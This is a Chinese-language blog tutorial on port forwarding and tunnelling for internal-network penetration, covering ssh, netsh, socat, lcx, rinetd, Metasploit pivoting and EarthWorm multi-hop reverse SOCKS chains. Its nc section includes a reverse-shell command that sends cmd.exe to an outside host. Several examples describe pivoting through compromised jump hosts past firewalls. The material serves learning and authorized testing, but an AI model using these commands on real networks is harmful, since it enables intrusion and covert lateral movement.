內網滲透中的端口轉發——工具很全


內網滲透中的端口轉發

需要知道,在滲透的整個流程中,根據web應用或者開放的端口進行滲透,獲取webshell只是滲透這門藝術的一小部分,在真實的錯綜復雜的企業環境中進行內網滲透,其實水很深,涉及內網穿透,端口轉發,域滲透,提權等一系列的難題。所以這篇文章對內網滲透學習進行一些記錄。在這過程中參考了很多前輩們的寶貴經驗,我把這些鏈接進行了收集,放在參考文獻部分。

轉發,映射,代理

這幾個概念其實是比較難區分的,特別是和后面的內網穿透混在一起,在宏觀上說,他們差別不大。但是究其本質還是存在不小的差別的。現在就先對這幾個概念說一下我個人的理解:

  • 轉發: 轉發是滲透中一種手段,是將一個網絡端口從一個網絡節點轉發到另一個節點的行為。結果是使一個外網用戶經過一個NAT路由器到達在內網IP地址某個端口。有時候也被稱為隧道。
  • 映射: 映射也是滲透中的一種手段,端口映射就是將外網主機的IP地址的一個端口映射到內網中一台機器,提供相應的服務。其實很多時候轉發和映射
  • 代理: 代理是一種結果,以端口轉發和映射為技術基礎。代理在很多場合是用在連接互聯網的web服務上面,起到突破ip封鎖,隱匿身份等作用。其原理是動態的端口轉發。只需要本機和代理間建立一個隧道,然后代理就可以根據本機發起的請求去動態的獲取出鏈的地址與端口。
  • 內網穿透: 內網穿透是目的,它使用的手段有包括端口轉發和映射,或者直接使用代理這一結果。很多時候我們指的內網穿透場景是指攻擊機與靶機處於處於不同的內網中,一些回彈shell之類的手段直接實現,因為IP地址無法相互建立連接。這個時候就需要使用一些內網穿透常見的工具。這些工具也是使用端口轉發和映射或類似的方法來突破限制。
工具名稱 主要用途 平台 備注
lcx 端口映射 Windows 只支持tcp協議的端口轉發,非系統內置。linux下叫做可以實現端口轉發和端口映射
netsh 端口映射 Windows 只支持tcp協議的端口轉發,需要安裝ipv6
rinetd 反向代理 Linux 非內置,需要自行安裝
Earthworm 端口映射、Socks5代理 Linux、Windows、MacOS、Arm-Linux 非系統內置,可以十分方便的支持多級轉發
frp 高性能的反向代理應用 go 基於反向代理,可以十分靈活的進行內網穿透,繞過防火牆
reGeorg Socks5 代理 常見腳本語言 reGeorg利用webshell建立一個socks代理進行內網穿透,服務器必須支持aspx、php、jsp、js等web語言
Metasploit portfwd 端口映射 MSF -> Metpreter會話 需要網絡狀況較好
socat 端口映射 Linux 可能需要安裝
Metasploit->socks4a 反向代理 MSF -> Metpreter會話 需要會話主機有外網代理IP
tunna HTTP隧道 常見腳本語言 需腳本環境執行,並且不太穩定
localtuuel 內網公網映射 nodojs 和ngork一樣可以實現內網到公網端口的映射
ngork 內網公網映射 go 可以選擇自建服務器或則和使用工具自帶的服務器
dns2tcp DNS隧道 kaii內置 防火牆過濾內部tcp出站策略的情況下,走DNS隧道,,通過DNS流量中繼TCP連接
Iodine DNS隧道 linux 原理上和dns2tcp類似
icmpsh ICMP隧道 需要root權限 需要禁止系統對icmp的相應,用工具來處理收發icmp包

系統內置的轉發工具

iptables NAT功能

由於linux主機出於安全考慮,系統參數/proc/sys/net/ipv4/ip_forward默認為0,所以是禁止NAT功能的,我們可以通過以下兩種你方式修改系統運行時的參數。

臨時方案

echo 1 >/proc/sys/net/ipv4/ip_forward

長期方案

運行vi /etc/sysctl.conf

1
2
3
# 找到下面的值並將0改成1

net.ipv4.ip_forward = 1

 

運行sysctl –p,使改動立即生效 。

下面是一個轉發的示例

1
2
3
4
5
6
# 1.1.1.1是公網ip,192.168.2.2內網ip
iptables -t nat -A PREROUTING -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080

iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1

service iptables save

 

這樣就會使得訪問1.1.1.1:80 映射到了192.168.2.2:8080端口。注意到這里

nc

1
2
3
4
5
# 公網主機
nc -lvp 4444

# 內網機器
nc -t -e cmd.exe 公網主機ip 4444

SSH

1
2
3
4
5
6
7
8
9
10
11
#本地端口轉發:
ssh -CfNg -L port1:127.0.0.1:port2 user@host
參數: -L 本地網卡地址:本地端口:目標地址:目標端口

#遠程端口轉發:
ssh -CfNg -R port2:127.0.0.1:port1 user@hsst
參數: -R 遠程網卡地址:遠程端口:目標地址:目標端口

#動態端口轉發
ssh -D localhost:2000 root@103.59.22.17
參數:-D 本地網卡地址:本地端口

netsh

netsh是windows下提供網絡管理的命令行工具,它是一個交互式的shell,涉及到上下文的概念。我們在交互式下面進入相應的上下文,進行參數的設置。也可以直接下面這樣非交互式的進行端口轉發。

1
2
3
4
5
6
netsh  interface ipv6 install
#轉發
netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1 connectport=8080

#刪除轉發
netsh interface portproxy delete v4tov4 listenaddress={B的IP} listenport={B的端口}

 

非內置的端口轉發工具

socat

socat這個端口轉發我們其實更常用在ssrf構造payload的時候本地抓包,因為socat有記錄轉發流的功能。將socat作為中介捕獲我們構造的payload包,然后進行進一步的操作,如gopher協議的構造。

1
2
3
4
5
6
7
8
9
10
11
12
13
#安裝
yum install -y socat
apt install -y socat

#TCP
nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000

TCP4-LISTEN:10000 監聽 ipv4 的 10000TCP 端口。 10000 改成你自己需要轉發的端口
fork TCP4:1.1.1.1:10000 轉發到 1.1.1.1 的 10000 端口,根據需求修改自行修改 ip 和端口
nohup 后台運行。可以把這個命令寫到 /etc/rc.local 里面開機啟動啟動。

#UDP
nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000

 

lcx.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
lcx-<listen|tran|slave> <option> [-log logfile]
[option:]

-listen <監聽端口> <轉發端口>

-tran<監聽端口> <目標地址> <目標端口>

-slave <目標主機> <目標端口> <本地主機><本機端口>


內網機器上執行:
lcx.exe –slave 公網IP +端口 內網IP +端口
例:
lcx.exe –slave 192.168.43.142 51 192.168.43.137 3389
公網上執行:
Lcx.exe –listen 監聽51端口,轉發到公網機器的3389端口
例:
Lcx.exe –listen 51 3389

Metasploit socks4a

一組在實際滲透過程中的三件套:路由表+socks4a+proxychains。這樣一來可以使用攻擊機上的滲透工具,利用meterpreter session作為跳板,對內網進行滲透。下面的是流程。

1
2
3
4
5
1. 在反彈的shell中添加路由,如
run autoroute -s 192.168.122.0/24
2. 使用socks4a模塊並設置端口
use auxiliary/server/socks4a
3. 配置proxychains

 

Meterpreter portfwd

在MSF滲透框架里面內置了端口轉發的命令,在回彈了shell的條件下可以直接使用,下面式相關參數解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

-L <opt> 轉發: 本地監聽地址 反向: 本地主機連接到某個地址
-R 表示正向反向端口
-h 幫助信息
-i <opt> 端口轉發條目的索引與交互(請參閱“列表”命令)
-l <opt> 轉發:本地端口收聽 反向:本地端口連接
-p <opt> 轉發:遠程端口連接 反向:遠程端口監聽
-r <opt> 轉發:連接到遠程主機


例子:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389

portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877

 

Rinetd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 安裝,注意到centos沒有其默認的軟件源,需要手動導入;ubuntu的比較方便
#centos 32
$ vim /etc/yum.repos.d/nux-misc.repo
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

#centos 64
$ vim /etc/yum.repos.d/nux-misc.repo:

[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

$ yum --enablerepo=nux-misc install rinetd

# ubuntu
$ apt-get install rinetd

#配置文件在/etc/rinetd.conf,配置參數格式
[bindaddress] [bindport] [connectaddress] [connectport]
綁定的地址 綁定的端口 連接的地址 連接的端口

[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址 源端口 目的地址 目的端口

#舉例
$ vim /etc/rinetd.conf

0.0.0.0 8080 172.19.94.3 8080
0.0.0.0 2222 192.168.0.103 3389
1.2.3.4 80 192.168.0.10 80
allow *.*.*.*
logfile /var/log/rinetd.log

#解釋
0.0.0.0表示本機綁定所有可用地址
將所有發往本機8080端口的請求轉發到172.19.94.3的8080端口
將所有發往本機2222端口的請求轉發到192.168.0.103的3389端口
將所有發往1.2.3.4的80端口請求轉發到192.168.0.10的80端口
allow設置允許訪問的ip地址信息,*.*.*.*表示所有IP地址
logfil設置打印的log的位置

# 運行
#腳本啟動
$ /etc/init.d/rinetd start

#二進制啟動
$ /usr/sbin/rinetd -c /etc/rinetd.conf

#關閉(使用腳本,或則和pkill)
$ /etc/init.d/rinetd stop

Tunna 與 reGeorg

這兩個工具的使用都是比較簡單,就不啰嗦了,在獲取webshell后,我們可以通過http進行端口轉發。直接給出兩個項目地址,推薦使用reGeorg,Tunna不穩定。Tunna工具地址
reGeorg工具地址

Localtunnel與Gnork

這兩個工具都可以將內網的端口映射到公網,然后訪問公網的ip就類似於訪問內網的端口。這兩個工具可以提供自建服務或者使用它提供的服務器進行內網穿透。其實這類工具在實際滲透中不是很常用。更直接的場景是自己攻擊機在內網,在進行相關回連操作的時候,需要目標機器可達,畢竟它們只是一級轉發,而且操作麻煩。直接給出項目地址:

EW

工具的地址: http://rootkiter.com/EarthWorm/

這是個國產的打洞神器,因為其方便的多級轉發,支持反向代理等特性,在內網滲透領域可是響當當的。這里重點對這個工具做下記錄,真的太強大了!

該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。下面針對官方的例子進行以下解釋:

正向代理

1
$ ./ew -s ssocksd -l 1080

開啟機器的1080端口做正向代理,我們可以通過鏈接該機器的1080端口進行端口代理轉發。一般的場景為:kali 通過proxychain 鏈接開啟了正向代理的公網ip。

反響代理

1
2
3
4
5
#公網ip主機A,ip假設為1.1.1.1
./ew -s rcsocks -l 1080 -e 8888

# 目標機B
./ew -s rssocks -d 1.1.1.1 -e 8888

反向代理是目標機向我們發起鏈接請求,與正向代理是不一樣的。當建立了鏈接后,它的代理流如下Me<--->A<--->B。即我只要連接A的1080端口就可以獲得一條反向代理的隧道,與B建立連接。這種場景可以用來繞過入口策略嚴格但是出口策略松散的防火牆。

多級轉發

在前面的兩個場景中,我們看到了rcsocks,`ssocksd,rssocks這三個命令的使用。在多級轉發中我們會見到另外三個命令的作用。他們就類似於中間件,負責隧道導流與串接。

1
2
3
4
5
6
7
#命令使用舉例:
# lcx_listen 用在將本機的端口進行轉發
$ ./ew -s lcx_listen -l 1080 -e 8888
# lcx_tran 將本機端口與目的ip地址的端口進行轉發
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
# lcx_slave 作為奴隸,將本機直接可達的兩個主機實體上的端口進行轉發
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

下面我們來看個實際滲透三級級聯例子:

1
2
3
4
5
6
7
8
9
10
11
# 我們自己的VPS執行
$ ./ew -s rcsocks -l 1080 -e 8888

# 跳板機A執行
$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999

# 跳板機B執行
$ ./ew -s lcx_listen -l 9999 -e 7777

# 跳板機C執行
$ ./ew -s rssocks -d ip_B -e 7777

 

數據流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。
我們來解讀以下這個三級級聯,首先這是個反向代理的例子,反向代理的目的端口是C的7777,當隧道建立完成,我們只需要連接到VPS的1080端口,就會自動幫我們轉發到7777。我們來看下中間過程如何:首先第一個命令VPS在8888接收反向代理,並且在1080等候我們的連接。第二條命令將跳板機A的8888端口導向9999;第三行命令將跳板機B的9999端口導向7777;最后第四條命令在跳板機上進行反向代理發起連接到跳板機B的7777端口。

FRP

frp也提供了完善的內網穿透的功能,功能上其實和gnork這些差不多,但是相比起來,FRP的配置更為靈活。推薦層度:FRP>Localtunnel>gnork

中文官方文檔

過牆隧道

前面介紹的端口轉發,有使用http協議,tcp協議,sockts代理的,但是這些協議轉發流量太過於礙眼,容易被嚴謹的防火牆規則過濾,導致shell從內網出不來,那么在這種情況下,我們就需要強有力的過牆隧道。下面是筆者在網上搜羅的一些走udp的dns隧道和走icmp的隧道,可以說這兩種打洞手段很別出心裁,筆者看得是嘆為觀止。這里先把相關的工具鏈接和看過的文章記錄下來。寫不動了……,避免篇幅過長(其實是有點懶),下次補上。

DNS2tcp

https://pkgs.org/download/dns2tcp

http://pwdme.cc/2016/11/11/dns2tcp-dns-tunnel/

https://www.freebuf.com/articles/system/8726.html

https://kali.tuisec.win/kalitools/dns2tcp_zh.html

https://www.aldeid.com/wiki/Dns2tcp

iodine

https://github.com/yarrick/iodine

https://www.freebuf.com/articles/system/178214.html

https://blog.csdn.net/weixin_36440115/article/details/76400359

icmpsh

https://github.com/inquisb/icmpsh

參考文獻

Powershell攻擊指南黑客后滲透之道系列——基礎篇
Powershell攻擊指南黑客后滲透之道系列——進階利用
Powershell攻擊指南黑客后滲透之道系列——實戰篇
內網滲透常見端口轉發方式
玩轉SSH端口轉發
內網安全檢查/滲透總結
推薦一款很好用的內網穿透工具—FRP
Localtunnel內網穿透工具的安裝與使用
CentOS下部署Ngrok服務器


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM